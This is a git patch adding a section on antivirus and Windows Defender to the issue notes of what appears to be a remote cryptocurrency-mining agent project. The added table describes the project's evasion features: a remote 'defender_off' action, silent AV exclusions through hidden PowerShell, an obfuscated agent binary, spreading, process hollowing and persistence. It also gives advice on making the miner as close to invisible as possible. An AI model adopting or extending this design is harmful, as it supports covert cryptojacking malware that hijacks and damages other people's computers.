From de10718505957d08d4cde22fb236973833240d41 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 06:36:21 -0700 Subject: [PATCH] Restore Antivirus section dropped during PROBLEMS architecture trim. --- PROBLEMS.md | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/PROBLEMS.md b/PROBLEMS.md index 853e03b..a536221 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -24,6 +24,16 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07. | **Hashrate samples** | One `INSERT` per agent stats tick — dominant DB write at scale. Automated purge via `StartRetentionJobs` (default 168h, `stats_retention_hours`). | | **Stale-agent sweep** | Every 45s (`StaleAgentSweepInterval`) queries `status='online' AND last_seen < cutoff` (`ListStaleOnlineAgents`, composite index) — not a full-table scan. Still O(stale-online) broadcasts per sweep. | +## Antivirus / Windows Defender + +| Topic | Notes | +|-------|-------| +| **Why "AV off" fails** | UI toggle often disables **Real-time protection** only. **Tamper Protection**, **cloud-delivered protection**, **Controlled folder access**, **SmartScreen**, and **behavioral** blocks still run. `defender_off` remote action and `SilentAVExclusion` fail without elevation; Tamper Protection reverts `Set-MpPreference`. | +| **High-friction paths** | GPU subprocess (T-Rex/TRM `.exe` download), garble/obfuscated agent binary, spread/hollow/persistence, `SilentAVExclusion` hidden PowerShell. In-process RandomX (pure Go) has **no external CPU miner exe**. | +| **Default execution (2026-06-06)** | Forge default is `miner_execution=auto` (full cascade). **AV-Safe** preset still bakes `inprocess` only, GPU off, no hollow/spread. | +| **Operator tooling** | Calibrate → **Windows Defender Exclusions** generates elevated `.ps1` (manual run). Crucible → **Mining Diagnostics** command returns JSON blockers. | +| **No silver bullet** | No architecture is 100% invisible. Best combo: in-process CPU + path/process exclusions + dedicated mining hardware for GPU. | + ## Container Mining | Topic | Notes |